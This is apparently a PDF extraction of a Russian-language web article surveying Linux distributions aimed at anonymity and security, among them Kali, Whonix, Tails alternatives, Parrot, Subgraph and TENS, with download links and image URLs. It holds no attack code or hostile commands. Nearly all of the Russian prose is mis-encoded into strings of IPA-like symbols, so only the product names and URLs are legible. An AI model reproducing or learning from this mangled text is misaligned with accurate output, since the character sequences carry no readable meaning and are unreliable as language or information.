https://wiki.merionet.ru/images/15-luchshix-distributivov-linux-orientirovannyx-na-anonimnost-i-bezopasnost/3.jpg
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ʇʦ ʩʨʘʚʥʝʥʠʶ ʩ ʜʨʫʛʠʤʠ ʜʠʩʪʨʠʙʫʪʠʚʘʤʠ ʚ ʵʪʦʤ ʩʧʠʩʢʝ, BlackArch Linux - 

ʦʪʥʦʩʠʪʝʣʴʥʦ ʥʦʚʳʡ ʧʨʦʝʢʪ, ʥʦ ʦʥ ʤʦʞʝʪ ʚʳʜʝʣʠʪʴʩʷ ʢʘʢ ʥʘʜʝʞʥʘʷ ʆʉ ʚ 

ʩʦʦʙʱʝʩʪʚʝ ʵʢʩʧʝʨʪʦʚ ʧʦ ʙʝʟʦʧʘʩʥʦʩʪʠ. ʆʥ ʧʦʩʪʘʚʣʷʝʪʩʷ ʩ ʚʦʟʤʦʞʥʦʩʪʴʶ ʚʳʙʦʨʘ 

ʧʦʣʴʟʦʚʘʪʝʣʝʤ ʣʶʙʦʡ ʠʟ ʵʪʠʭ ʩʨʝʜ ʨʘʙʦʯʝʛʦ ʩʪʦʣʘ: Awesome, Blackbox, Fluxbox 

ʠʣʠ spectrwm, ʠ, ʢʘʢ ʠ ʦʞʠʜʘʣʦʩʴ, ʦʥ ʜʦʩʪʫʧʝʥ ʚ ʚʠʜʝ ʞʠʚʦʛʦ ʦʙʨʘʟʘ DVD ʠ ʤʦʞʝʪ 

ʙʳʪʴ ʟʘʧʫʱʝʥ ʩ ʬʣʝʰʢʠ. 

ʉʢʘʯʘʪʴ BlackArch Linux 

 

KALI LINUX 

Kali Linux (ʨʘʥʝʝ BackTrack) - ʵʪʦ ʙʝʩʧʣʘʪʥʳʡ ʨʘʩʰʠʨʝʥʥʳʡ ʜʠʩʪʨʠʙʫʪʠʚ Linux ʜʣʷ 

ʪʝʩʪʠʨʦʚʘʥʠʷ ʥʘ ʧʨʦʥʠʢʥʦʚʝʥʠʝ, ʨʘʟʨʘʙʦʪʘʥʥʳʡ ʜʣʷ ʵʢʩʧʝʨʪʦʚ ʧʦ ʙʝʟʦʧʘʩʥʦʩʪʠ, 

ʵʪʠʯʝʩʢʦʛʦ ʚʟʣʦʤʘ, ʦʮʝʥʢʠ ʩʝʪʝʚʦʡ ʙʝʟʦʧʘʩʥʦʩʪʠ ʠ ʮʠʬʨʦʚʦʡ ʢʨʠʤʠʥʘʣʠʩʪʠʢʠ. 

 

https://wiki.merionet.ru/
https://blackarch.org/downloads.html
https://wiki.merionet.ru/images/15-luchshix-distributivov-linux-orientirovannyx-na-anonimnost-i-bezopasnost/4.jpg


 
 

 

67                        ͵ΙΥΜΣΡ ͺΙΧΖΣΥΞΦ   wiki.merionet.ru   
 

ʆʥ ʩʢʦʥʩʪʨʫʠʨʦʚʘʥ ʜʣʷ ʙʝʩʧʝʨʝʙʦʡʥʦʡ ʨʘʙʦʪʳ ʢʘʢ ʥʘ 32-, ʪʘʢ ʠ ʥʘ 64-ʙʠʪʥʳʭ 

ʘʨʭʠʪʝʢʪʫʨʘʭ, ʠ ʩʨʘʟʫ ʞʝ ʧʦʩʪʘʚʣʷʝʪʩʷ ʩ ʥʘʙʦʨʦʤ ʠʥʩʪʨʫʤʝʥʪʦʚ ʜʣʷ ʪʝʩʪʠʨʦʚʘʥʠʷ 

ʥʘ ʧʨʦʥʠʢʥʦʚʝʥʠʝ, ʢʦʪʦʨʳʝ ʜʝʣʘʶʪ ʝʛʦ ʦʜʥʠʤ ʠʟ ʩʘʤʳʭ ʧʨʠʚʣʝʢʘʪʝʣʴʥʳʭ 

ʜʠʩʪʨʠʙʫʪʠʚʦʚ ʜʣʷ ʧʦʣʴʟʦʚʘʪʝʣʝʡ, ʟʘʙʦʪʷʱʠʭʩʷ ʦ ʙʝʟʦʧʘʩʥʦʩʪʠ. 

ʉʢʘʯʘʪʴ Kali Linux 

 

JONDO/TOR -SECURE-LIVE-DVD 

JonDo Live-DVD - ʵʪʦ ʙʦʣʝʝ ʠʣʠ ʤʝʥʝʝ ʢʦʤʤʝʨʯʝʩʢʦʝ ʨʝʰʝʥʠʝ ʜʣʷ ʘʥʦʥʠʤʥʦʩʪʠ, 

ʢʦʪʦʨʦʝ ʨʘʙʦʪʘʝʪ ʘʥʘʣʦʛʠʯʥʦ Tor, ʫʯʠʪʳʚʘʷ ʪʦʪ ʬʘʢʪ, ʯʪʦ ʦʥʦ ʪʘʢʞʝ ʥʘʧʨʘʚʣʷʝʪ 

ʩʚʦʠ ʧʘʢʝʪʳ ʯʝʨʝʟ ʩʧʝʮʠʘʣʴʥʳʝ çʩʤʝʰʘʥʥʳʝ ʩʝʨʚʝʨʳè ʧʦʜ ʥʘʟʚʘʥʠʝʤ JonDonym 

(ʢʘʢ ʫʟʣʳ ʚ ʩʣʫʯʘʝ Tor), ʢʘʞʜʳʡ ʨʘʟ ʟʘʥʦʚʦ ʟʘʰʠʬʨʦʚʳʚʘʷ ʪʨʘʬʬʠʢ. ʕʪʦ 

ʞʠʟʥʝʩʧʦʩʦʙʥʘʷ ʘʣʴʪʝʨʥʘʪʠʚʘ TAILS, ʦʩʦʙʝʥʥʦ ʝʩʣʠ ʚʳ ʠʱʝʪʝ ʯʪʦ-ʪʦ ʩ ʤʝʥʝʝ 

ʦʛʨʘʥʠʯʝʥʥʳʤ ʧʦʣʴʟʦʚʘʪʝʣʴʩʢʠʤ ʠʥʪʝʨʬʝʡʩʦʤ. 

https://wiki.merionet.ru/
https://www.kali.org/downloads/
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ɼʠʩʪʨʠʙʫʪʠʚ ʦʩʥʦʚʘʥ ʥʘ Debian, ʘ ʪʘʢʞʝ ʚʢʣʶʯʘʝʪ ʚ ʩʝʙʷ ʥʘʙʦʨ ʠʥʩʪʨʫʤʝʥʪʦʚ ʜʣʷ 

ʦʙʝʩʧʝʯʝʥʠʷ ʢʦʥʬʠʜʝʥʮʠʘʣʴʥʦʩʪʠ ʠ ʜʨʫʛʠʝ ʯʘʩʪʦ ʠʩʧʦʣʴʟʫʝʤʳʭ ʧʨʠʣʦʞʝʥʠʡ. 

ʉʢʘʯʘʪʴ JonDo/Tor-Secure-Live-DVD 

 

WHONIX  

ɽʩʣʠ ʚʳ ʠʱʝʪʝ ʯʪʦ-ʪʦ ʥʝʤʥʦʛʦ ʜʨʫʛʦʝ, Whonix ʠʩʧʦʣʴʟʫʝʪ ʩʦʚʝʨʰʝʥʥʦ ʠʥʦʡ 

ʧʦʜʭʦʜ, ʥʝʞʝʣʠ ʫʧʦʤʷʥʫʪʳʡ ʚʳʰʝ, ʧʦʩʢʦʣʴʢʫ ʦʥ ʥʝ ʷʚʣʷʝʪʩʷ ʞʠʚʦʡ ʩʠʩʪʝʤʦʡ, ʘ 

ʚʤʝʩʪʦ ʵʪʦʛʦ ʨʘʙʦʪʘʝʪ ʚ ʚʠʨʪʫʘʣʴʥʦʡ ʤʘʰʠʥʝ - ʚ ʯʘʩʪʥʦʩʪʠ, ʚ Virtualbox - ʛʜʝ ʦʥ 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/15-luchshix-distributivov-linux-orientirovannyx-na-anonimnost-i-bezopasnost/5.jpg
https://wiki.merionet.ru/images/15-luchshix-distributivov-linux-orientirovannyx-na-anonimnost-i-bezopasnost/5.jpg
https://anonymous-proxy-servers.net/en/software.html
https://wiki.merionet.ru/servernye-resheniya/16/ustanovka-virtualbox-6-na-linux/
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ʠʟʦʣʠʨʦʚʘʥ ʦʪ ʚʘʰʝʡ ʦʩʥʦʚʥʦʡ ʆʉ, ʯʪʦʙʳ ʤʠʥʠʤʠʟʠʨʦʚʘʪʴ ʨʠʩʢ ʫʪʝʯʢʠ DNS ʠʣʠ 

ʧʨʦʥʠʢʥʦʚʝʥʠʷ ʚʨʝʜʦʥʦʩʥʳʭ ʧʨʦʛʨʘʤʤ (ʩ ʧʨʠʚʠʣʝʛʠʷʤʠ root). 

 

Whonix ʩʦʩʪʦʠʪ ʠʟ ʜʚʫʭ ʯʘʩʪʝʡ: ʧʝʨʚʘʷ - ʵʪʦ çWhonix Gatewayè, ʢʦʪʦʨʳʡ ʜʝʡʩʪʚʫʝʪ 

ʢʘʢ ʰʣʶʟ Tor, ʘ ʜʨʫʛʘʷ - çWhonix Workstationè - ʠʟʦʣʠʨʦʚʘʥʥʘʷ ʩʝʪʴ, ʢʦʪʦʨʘʷ 

ʤʘʨʰʨʫʪʠʟʠʨʫʝʪ ʚʩʝ ʩʚʦʠ ʩʦʝʜʠʥʝʥʠʷ ʯʝʨʝʟ Tor-ʰʣʶʟ. 

ʕʪʦʪ ʜʠʩʪʨʠʙʫʪʠʚ ʥʘ ʦʩʥʦʚʝ Debian ʠʩʧʦʣʴʟʫʝʪ ʜʚʝ ʚʠʨʪʫʘʣʴʥʳʝ ʤʘʰʠʥʳ, ʯʪʦ 

ʜʝʣʘʝʪ ʝʛʦ ʦʪʥʦʩʠʪʝʣʴʥʦ ʨʝʩʫʨʩʦʝʤʢʠʤ, ʧʦʵʪʦʤʫ ʚʨʝʤʷ ʦʪ ʚʨʝʤʝʥʠ ʚʳ ʙʫʜʝʪʝ 

ʠʩʧʳʪʳʚʘʪʴ ʟʘʜʝʨʞʢʠ, ʝʩʣʠ ʚʘʰʝ ʦʙʦʨʫʜʦʚʘʥʠʝ ʥʝ ʥʘʭʦʜʠʪʩʷ ʥʘ ʚʳʩʦʢʦʤ ʫʨʦʚʥʝ. 

ʉʢʘʯʘʪʴ Whonix 

 

DISCREETE LINUX 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/15-luchshix-distributivov-linux-orientirovannyx-na-anonimnost-i-bezopasnost/6.jpg
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Discreete Linux, ʨʘʥʝʝ UPR ʠʣʠ Ubuntu Privacy Remix, ʧʨʝʜʩʪʘʚʣʷʝʪ ʩʦʙʦʡ 

ʜʠʩʪʨʠʙʫʪʠʚ Linux ʥʘ ʦʩʥʦʚʝ Debian, ʨʘʟʨʘʙʦʪʘʥʥʳʡ ʜʣʷ ʦʙʝʩʧʝʯʝʥʠʷ ʟʘʱʠʪʳ 

ʧʦʣʴʟʦʚʘʪʝʣʝʡ ʦʪ ʪʨʦʷʥʩʢʦʛʦ ʥʘʙʣʶʜʝʥʠʷ ʟʘ ʩʯʝʪ ʧʦʣʥʦʡ ʠʟʦʣʷʮʠʠ ʝʛʦ ʨʘʙʦʯʝʡ 

ʩʨʝʜʳ ʦʪ ʤʝʩʪʦʧʦʣʦʞʝʥʠʡ ʩ ʣʠʯʥʳʤʠ ʜʘʥʥʳʤʠ. ʆʥ ʨʘʩʧʨʦʩʪʨʘʥʷʝʪʩʷ ʚ ʚʠʜʝ live 

CD, ʢʦʪʦʨʳʡ ʥʝʣʴʟʷ ʫʩʪʘʥʦʚʠʪʴ ʥʘ ʞʝʩʪʢʠʡ ʜʠʩʢ, ʠ ʩʝʪʴ ʥʘʤʝʨʝʥʥʦ ʦʪʢʣʶʯʝʥʘ ʚʦ 

ʚʨʝʤʷ ʝʛʦ ʨʘʙʦʪʳ. 

 

Discreete Linux ʷʚʣʷʝʪʩʷ ʦʜʥʠʤ ʠʟ ʫʥʠʢʘʣʴʥʳʭ ʜʠʩʪʨʠʙʫʪʠʚʦʚ ʚ ʵʪʦʤ ʩʧʠʩʢʝ ʠ, 

ʦʯʝʚʠʜʥʦ, ʥʝ ʧʨʝʜʥʘʟʥʘʯʝʥ ʜʣʷ ʧʦʚʩʝʜʥʝʚʥʳʭ ʚʳʯʠʩʣʠʪʝʣʴʥʳʭ ʟʘʜʘʯ, ʪʘʢʠʭ ʢʘʢ 

ʦʙʨʘʙʦʪʢʘ ʪʝʢʩʪʦʚ ʠ ʠʛʨʳ. ɽʛʦ ʠʩʭʦʜʥʳʡ ʢʦʜ ʨʝʜʢʦ ʦʙʥʦʚʣʷʝʪʩʷ, ʫʯʠʪʳʚʘʷ 

ʥʝʙʦʣʴʰʫʶ ʧʦʪʨʝʙʥʦʩʪʴ ʚ ʦʙʥʦʚʣʝʥʠʷʭ ʠ ʠʩʧʨʘʚʣʝʥʠʷʭ, ʥʦ ʦʥ ʧʦʩʪʘʚʣʷʝʪʩʷ ʩ 

ʨʘʙʦʯʝʡ ʩʨʝʜʦʡ Gnome ʜʣʷ ʣʝʛʢʦʡ ʥʘʚʠʛʘʮʠʠ. 

ʉʢʘʯʘʪʴ Discreete Linux 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/15-luchshix-distributivov-linux-orientirovannyx-na-anonimnost-i-bezopasnost/7.jpg
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IPREDIAOS 

IprediaOS - ʵʪʦ ʜʠʩʪʨʠʙʫʪʠʚ Linux ʥʘ ʙʘʟʝ Fedora, ʩʦʟʜʘʥʥʳʡ ʜʣʷ ʘʥʦʥʠʤʥʦʛʦ 

ʧʨʦʩʤʦʪʨʘ ʚʝʙ-ʩʪʨʘʥʠʮ, ʵʣʝʢʪʨʦʥʥʦʡ ʧʦʯʪʳ ʠ ʦʙʤʝʥʘ ʬʘʡʣʘʤʠ, ʢʦʪʦʨʳʡ 

ʧʨʝʜʣʘʛʘʝʪ ʧʦʣʴʟʦʚʘʪʝʣʷʤ ʩʪʘʙʠʣʴʥʦʩʪʴ, ʩʢʦʨʦʩʪʴ ʠ ʚʳʯʠʩʣʠʪʝʣʴʥʫʶ ʤʦʱʥʦʩʪʴ. 

ɹʫʜʫʯʠ ʦʧʝʨʘʮʠʦʥʥʦʡ ʩʠʩʪʝʤʦʡ, ʟʘʙʦʪʷʱʝʡʩʷ ʦ ʙʝʟʦʧʘʩʥʦʩʪʠ, IprediaOS 

ʨʘʟʨʘʙʦʪʘʥʘ ʩ ʤʠʥʠʤʘʣʠʩʪʩʢʦʡ ʬʠʣʦʩʦʬʠʝʡ, ʧʦʟʚʦʣʷʶʱʝʡ ʧʦʩʪʘʚʣʷʪʴ ʪʦʣʴʢʦ 

ʞʠʟʥʝʥʥʦ ʚʘʞʥʳʝ ʧʨʠʣʦʞʝʥʠʷ, ʘ ʪʘʢʞʝ ʘʚʪʦʤʘʪʠʯʝʩʢʠ ʠ ʧʨʦʟʨʘʯʥʦ ʰʠʬʨʦʚʘʪʴ ʠ 

ʘʥʦʥʠʤʠʟʠʨʦʚʘʪʴ ʚʝʩʴ ʧʨʦʭʦʜʷʱʠʡ ʯʝʨʝʟ ʥʝʝ ʪʨʘʬʠʢ, ʠʩʧʦʣʴʟʫʷ ʘʥʦʥʠʤʥʫʶ ʩʝʪʴ 

I2P. 

 

https://wiki.merionet.ru/
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ʌʫʥʢʮʠʠ, ʢʦʪʦʨʳʝ ʧʨʝʜʦʩʪʘʚʣʷʝʪ IprediaOS, ʚʢʣʶʯʘʶʪ I2P Router, ʘʥʦʥʠʤʥʳʡ IRC-

ʢʣʠʝʥʪ, ʘʥʦʥʠʤʥʳʡ BitTorrent-ʢʣʠʝʥʪ, ʘʥʦʥʠʤʥʳʡ ʙʨʘʫʟʝʨʘ, ʧʦʠʩʢ eepSites (i2p-

ʩʘʡʪʦʚ), ʘʥʦʥʠʤʥʳʡ ʧʦʯʪʦʚʳʡ ʢʣʠʝʥʪ ʠ LXDE. 

ʉʢʘʯʘʪʴ IprediaOS 

 

PARROT SECURITY OS 

Parrot Security OS - ʝʱʝ ʦʜʠʥ ʜʠʩʪʨʠʙʫʪʠʚ ʥʘ ʦʩʥʦʚʝ Debian, ʧʨʝʜʥʘʟʥʘʯʝʥʥʳʡ 

ʜʣʷ ʪʝʩʪʠʨʦʚʘʥʠʷ ʥʘ ʧʨʦʥʠʢʥʦʚʝʥʠʝ, ʵʪʠʯʝʩʢʦʛʦ ʚʟʣʦʤʘ ʠ ʦʙʝʩʧʝʯʝʥʠʷ 

ʘʥʦʥʠʤʥʦʩʪʠ ʚ ʀʥʪʝʨʥʝʪʝ. ʆʥ ʩʦʜʝʨʞʠʪ ʥʘʜʝʞʥʫʶ ʠ ʧʦʨʪʘʪʠʚʥʫʶ ʣʘʙʦʨʘʪʦʨʠʶ 

ʜʣʷ ʵʢʩʧʝʨʪʦʚ ʚ ʦʙʣʘʩʪʠ ʮʠʬʨʦʚʦʡ ʢʨʠʤʠʥʘʣʠʩʪʠʢʠ, ʢʦʪʦʨʘʷ ʚʢʣʶʯʘʝʪ ʚ ʩʝʙʷ ʥʝ 

ʪʦʣʴʢʦ ʧʨʦʛʨʘʤʤʥʦʝ ʦʙʝʩʧʝʯʝʥʠʝ ʜʣʷ ʦʙʨʘʪʥʦʛʦ ʧʨʦʝʢʪʠʨʦʚʘʥʠʷ, ʢʨʠʧʪʦʛʨʘʬʠʠ ʠ 

ʢʦʥʬʠʜʝʥʮʠʘʣʴʥʦʩʪʠ, ʥʦ ʪʘʢʞʝ ʜʣʷ ʨʘʟʨʘʙʦʪʢʠ ʧʨʦʛʨʘʤʤʥʦʛʦ ʦʙʝʩʧʝʯʝʥʠʷ ʠ 

ʘʥʦʥʠʤʥʦʛʦ ʩʝʨʬʠʥʛʘ ʚ ʀʥʪʝʨʥʝʪʝ. 

https://wiki.merionet.ru/
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ʆʥ ʨʘʩʧʨʦʩʪʨʘʥʷʝʪʩʷ ʚ ʚʠʜʝ ʨʦʣʣʠʥʛ-ʨʝʣʠʟʘ, ʢʦʪʦʨʘʷ ʧʦʩʪʘʚʣʷʝʪʩʷ ʪʦʣʴʢʦ ʩ 

ʦʩʥʦʚʥʳʤʠ ʧʨʠʣʦʞʝʥʠʷʤʠ, ʪʘʢʠʤʠ ʢʘʢ Tor Browser, OnionShare, Parrot Terminal ʠ 

MATE, ʚ ʢʘʯʝʩʪʚʝ ʩʨʝʜʳ ʨʘʙʦʯʝʛʦ ʩʪʦʣʘ ʧʦ ʫʤʦʣʯʘʥʠʶ. 

ʉʢʘʯʘʪʴ Parrot Security OS 

 

SUBGRAPH OS 

Subgraph OS - ʵʪʦ ʣʝʛʢʦʚʝʩʪʥʳʡ ʜʠʩʪʨʠʙʫʪʠʚ ʥʘ ʦʩʥʦʚʝ Debian, ʨʘʟʨʘʙʦʪʘʥʥʳʡ, 

ʯʪʦʙʳ ʙʳʪʴ ʥʝʚʦʩʧʨʠʠʤʯʠʚʳʤ ʢ ʥʘʙʣʶʜʝʥʠʶ ʠ ʧʦʤʝʭʘʤ ʩʦ ʩʪʦʨʦʥʳ 

ʟʣʦʫʤʳʰʣʝʥʥʠʢʦʚ ʚ ʣʶʙʦʡ ʩʝʪʠ, ʥʝʟʘʚʠʩʠʤʦ ʦʪ ʫʨʦʚʥʷ ʠʭ ʩʣʦʞʥʦʩʪʠ. ʆʥ ʩʦʟʜʘʥ 

ʜʣʷ ʠʩʧʦʣʴʟʦʚʘʥʠʷ ʫʩʠʣʝʥʥʦʛʦ ʷʜʨʘ Linux ʚ ʩʦʯʝʪʘʥʠʠ ʩ ʬʘʝʨʚʦʣʦʤ ʧʨʠʣʦʞʝʥʠʡ, 

ʯʪʦʙʳ ʙʣʦʢʠʨʦʚʘʪʴ ʜʦʩʪʫʧ ʦʧʨʝʜʝʣʝʥʥʳʭ ʧʨʦʛʨʘʤʤ ʢ ʩʝʪʠ, ʠ ʦʥ ʟʘʩʪʘʚʣʷʝʪ ʚʝʩʴ 

ʠʥʪʝʨʥʝʪ-ʪʨʘʬʠʢ ʧʨʦʭʦʜʠʪʴ ʯʝʨʝʟ ʩʝʪʴ Tor. 

https://wiki.merionet.ru/
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ʇʨʝʜʥʘʟʥʘʯʝʥʥʘʷ ʢʘʢ ʟʘʱʠʱʝʥʥʘʷ ʦʪ ʘʪʘʢ ʚʳʯʠʩʣʠʪʝʣʴʥʘʷ ʧʣʘʪʬʦʨʤʘ, ʮʝʣʴ 

Subgraph OS ʩʦʩʪʦʠʪ ʚ ʪʦʤ, ʯʪʦʙʳ ʧʨʝʜʦʩʪʘʚʠʪʴ ʧʨʦʩʪʫʶ ʚ ʠʩʧʦʣʴʟʦʚʘʥʠʠ ʆʉ ʩʦ 

ʩʧʝʮʠʘʣʴʥʳʤʠ ʠʥʩʪʨʫʤʝʥʪʘʤʠ ʢʦʥʬʠʜʝʥʮʠʘʣʴʥʦʩʪʠ ʙʝʟ ʫʱʝʨʙʘ ʜʣʷ ʫʜʦʙʩʪʚʘ 

ʠʩʧʦʣʴʟʦʚʘʥʠʷ. 

ʉʢʘʯʘʪʴ Subgraph OS 

 

HEADS OS 

Heads - ʵʪʦ ʝʱʝ ʦʜʠʥ ʙʝʩʧʣʘʪʥʳʡ ʜʠʩʪʨʠʙʫʪʠʚ Linux ʩ ʦʪʢʨʳʪʳʤ ʠʩʭʦʜʥʳʤ ʢʦʜʦʤ, 

ʩʦʟʜʘʥʥʳʡ ʩ ʮʝʣʴʶ ʩʦʙʣʶʜʝʥʠʷ ʢʦʥʬʠʜʝʥʮʠʘʣʴʥʦʩʪʠ ʠ ʩʚʦʙʦʜʳ ʧʦʣʴʟʦʚʘʪʝʣʝʡ ʠ 

ʦʙʝʩʧʝʯʝʥʠʷ ʠʭ ʙʝʟʦʧʘʩʥʦʩʪʠ ʠ ʘʥʦʥʠʤʥʦʩʪʠ ʚ ʀʥʪʝʨʥʝʪʝ. 
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ʆʥ ʙʳʣ ʨʘʟʨʘʙʦʪʘʥ, ʯʪʦʙʳ ʩʪʘʪʴ ʦʪʚʝʪʦʤ ʥʘ ʥʝʢʦʪʦʨʳʝ çʩʦʤʥʠʪʝʣʴʥʳʝè ʨʝʰʝʥʠʷ 

Tails, ʪʘʢʠʝ ʢʘʢ ʠʩʧʦʣʴʟʦʚʘʥʠʝ ʩʠʩʪʝʤʥʦʛʦ ʠ ʥʝʩʚʦʙʦʜʥʦʛʦ ʧʨʦʛʨʘʤʤʥʦʛʦ 

ʦʙʝʩʧʝʯʝʥʠʷ. ʊʦ ʝʩʪʴ ʚʩʝ ʧʨʠʣʦʞʝʥʠʷ ʚ Heads ʷʚʣʷʶʪʩʷ ʙʝʩʧʣʘʪʥʳʤʠ ʠ ʩ 

ʦʪʢʨʳʪʳʤ ʠʩʭʦʜʥʳʤ ʢʦʜʦʤ, ʠ ʦʥ ʥʝ ʠʩʧʦʣʴʟʫʝʪ systemd ʚ ʢʘʯʝʩʪʚʝ ʩʠʩʪʝʤʳ 

ʠʥʠʮʠʘʣʠʟʘʮʠʠ. 

ʉʢʘʯʘʪʴ Heads OS 

 

ALPINE LINUX 

Alpine Linux - ʵʪʦ ʣʝʛʢʦʚʝʩʥʳʡ (ʤʦʞʥʦ ʧʦʩʪʘʚʠʪʴ ʜʘʞʝ ʥʘ Raspberry Pi), 

ʦʨʠʝʥʪʠʨʦʚʘʥʥʳʡ ʥʘ ʙʝʟʦʧʘʩʥʦʩʪʴ ʜʠʩʪʨʠʙʫʪʠʚ Linux ʩ ʦʪʢʨʳʪʳʤ ʠʩʭʦʜʥʳʤ 

ʢʦʜʦʤ, ʨʘʟʨʘʙʦʪʘʥʥʳʡ ʜʣʷ ʦʙʝʩʧʝʯʝʥʠʷ ʵʬʬʝʢʪʠʚʥʦʩʪʠ ʨʝʩʫʨʩʦʚ, ʙʝʟʦʧʘʩʥʦʩʪʠ ʠ 

ʧʨʦʩʪʦʪʳ ʥʘ ʦʩʥʦʚʝ BusyBox ʠ musl libc. 
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ʆʥ ʘʢʪʠʚʥʦ ʨʘʟʨʘʙʘʪʳʚʘʣʩʷ ʩ ʤʦʤʝʥʪʘ ʝʛʦ ʧʝʨʚʦʛʦ ʚʳʧʫʩʢʘ ʚ ʘʚʛʫʩʪʝ 2005 ʛʦʜʘ ʠ 

ʩ ʪʝʭ ʧʦʨ ʩʪʘʣ ʦʜʥʠʤ ʠʟ ʩʘʤʳʭ ʨʝʢʦʤʝʥʜʫʝʤʳʭ ʦʙʨʘʟʦʚ ʜʣʷ ʨʘʙʦʪʳ ʩ ʦʙʨʘʟʘʤʠ 

Docker (ʧʨʦ ʢʦʪʦʨʳʡ ʤʦʞʥʦ ʧʨʦʯʠʪʘʪʴ ʪʫʪ). 

ʉʢʘʯʘʪʴ Alpine Linux 

 

PUREOS 

PureOS - ʵʪʦ ʫʜʦʙʥʳʡ ʜʣʷ ʧʦʣʴʟʦʚʘʪʝʣʷ ʜʠʩʪʨʠʙʫʪʠʚ ʥʘ ʦʩʥʦʚʝ Debian, 

ʩʦʟʜʘʥʥʳʡ ʢʦʤʧʘʥʠʝʡ Purism, ʢʦʪʦʨʘʷ ʟʘʥʠʤʘʝʪʩʷ ʨʘʟʨʘʙʦʪʢʦʡ ʢʦʤʧʴʶʪʝʨʦʚ ʠ 

ʩʤʘʨʪʬʦʥʦʚ Liberem, ʫʜʝʣʷʷ ʦʩʦʙʦʝ ʚʥʠʤʘʥʠʝ ʢʦʥʬʠʜʝʥʮʠʘʣʴʥʦʩʪʠ ʠ 

ʙʝʟʦʧʘʩʥʦʩʪʠ ʧʦʣʴʟʦʚʘʪʝʣʝʡ. 
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ʆʥ ʧʨʝʜʥʘʟʥʘʯʝʥ ʜʣʷ ʪʦʛʦ, ʯʪʦʙʳ ʧʨʝʜʦʩʪʘʚʠʪʴ ʧʦʣʴʟʦʚʘʪʝʣʷʤ ʧʦʣʥʳʡ ʢʦʥʪʨʦʣʴ 

ʥʘʜ ʠʭ ʚʳʯʠʩʣʠʪʝʣʴʥʦʡ ʩʠʩʪʝʤʦʡ ʩ ʧʦʣʥʦʡ ʥʘʩʪʨʘʠʚʘʝʤʦʩʪʴʶ, ʧʨʠʚʣʝʢʘʪʝʣʴʥʦʡ 

ʘʥʠʤʘʮʠʝʡ ʠ ʤʠʥʠʤʘʣʴʥʳʤ ʦʙʲʝʤʦʤ ʟʘʥʠʤʘʝʤʦʛʦ ʧʨʦʩʪʨʘʥʩʪʚʘ. ʆʥ ʧʦʩʪʘʚʣʷʝʪʩʷ 

ʩ GNOME ʚ ʢʘʯʝʩʪʚʝ ʩʨʝʜʳ ʨʘʙʦʯʝʛʦ ʩʪʦʣʘ ʧʦ ʫʤʦʣʯʘʥʠʶ. 

ʉʢʘʯʘʪʴ PureOS 

 

LINUX KODACHI 

Linux Kodachi - ʩʥʦʚʘ ʣʝʛʢʦʚʝʩʥʳʡ ʜʠʩʪʨʠʙʫʪʠʚ Linux, ʨʘʟʨʘʙʦʪʘʥʥʳʡ ʜʣʷ ʨʘʙʦʪʳ 

ʩ ʬʣʝʰʢʦʡ ʠʣʠ DVD. ʉʨʘʟʫ ʞʝ, ʦʥ ʬʠʣʴʪʨʫʝʪ ʚʝʩʴ ʩʝʪʝʚʦʡ ʪʨʘʬʠʢ ʯʝʨʝʟ 

ʚʠʨʪʫʘʣʴʥʫʶ ʧʨʦʢʩʠ-ʩʝʪʴ ʠ ʩʝʪʴ Tor, ʯʪʦʙʳ ʩʢʨʳʪʴ ʤʝʩʪʦʧʦʣʦʞʝʥʠʝ ʩʚʦʝʛʦ 

ʧʦʣʴʟʦʚʘʪʝʣʷ, ʠ ʜʝʣʘʝʪ ʚʩʝ ʚʦʟʤʦʞʥʦʝ, ʯʪʦʙʳ ʫʜʘʣʠʪʴ ʣʶʙʳʝ ʩʣʝʜʳ ʩʚʦʝʡ 

ʜʝʷʪʝʣʴʥʦʩʪʠ, ʢʦʛʜʘ ʦʥ ʙʫʜʝʪ ʠʩʧʦʣʴʟʦʚʘʥ. 
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ʆʥ ʦʩʥʦʚʘʥ ʥʘ Xubuntu 18.04, ʧʦʩʪʘʚʣʷʝʪʩʷ ʩ ʥʘʩʪʦʣʴʥʦʡ ʩʨʝʜʦʡ XFCE ʠ 

ʥʝʩʢʦʣʴʢʠʤʠ ʚʩʪʨʦʝʥʥʳʤʠ ʪʝʭʥʦʣʦʛʠʷʤʠ, ʢʦʪʦʨʳʝ ʧʦʟʚʦʣʷʶʪ ʧʦʣʴʟʦʚʘʪʝʣʷʤ 

ʦʩʪʘʚʘʪʴʩʷ ʘʥʦʥʠʤʥʳʤʠ ʚ ʩʝʪʠ, ʘ ʪʘʢʞʝ ʟʘʱʠʱʘʶʪ ʩʚʦʠ ʜʘʥʥʳʝ ʦʪ ʧʦʧʘʜʘʥʠʷ ʚ 

ʥʝʞʝʣʘʪʝʣʴʥʳʝ ʨʫʢʠ. 

ʉʢʘʯʘʪʴ Linux Kodachi 

 

TENS 

TENS (ʨʘʥʝʝ Lightweight Portable Security ʠʣʠ LPS) ʨʘʩʰʠʬʨʦʚʳʚʘʝʪʩʷ ʢʘʢ Trusted 

End Node Security, ʠ ʵʪʦ ʧʨʦʛʨʘʤʤʘ, ʢʦʪʦʨʘʷ ʟʘʛʨʫʞʘʝʪ ʙʘʟʦʚʫʶ ʆʉ Linux ʩ 

ʧʦʨʪʘʪʠʚʥʦʛʦ ʫʩʪʨʦʡʩʪʚʘ ʭʨʘʥʝʥʠʷ ʙʝʟ ʤʦʥʪʠʨʦʚʘʥʠʷ ʢʘʢʠʭ-ʣʠʙʦ ʜʘʥʥʳʭ ʥʘ 

ʣʦʢʘʣʴʥʳʡ ʜʠʩʢ. 
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https://wiki.merionet.ru/images/15-luchshix-distributivov-linux-orientirovannyx-na-anonimnost-i-bezopasnost/14.jpg
https://sourceforge.net/projects/linuxkodachi/
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TENS ʥʝ ʪʨʝʙʫʝʪ ʥʠʢʘʢʠʭ ʧʨʠʚʠʣʝʛʠʡ ʘʜʤʠʥʠʩʪʨʘʪʦʨʘ ʜʣʷ ʟʘʧʫʩʢʘ, ʥʠʢʘʢʦʛʦ 

ʢʦʥʪʘʢʪʘ ʩ ʣʦʢʘʣʴʥʳʤ ʞʝʩʪʢʠʤ ʜʠʩʢʦʤ, ʥʠ ʫʩʪʘʥʦʚʢʠ, ʩʨʝʜʠ ʥʝʢʦʪʦʨʳʭ ʜʨʫʛʠʭ 

ʨʘʩʰʠʨʝʥʥʳʭ ʬʫʥʢʮʠʡ ʙʝʟʦʧʘʩʥʦʩʪʠ. 

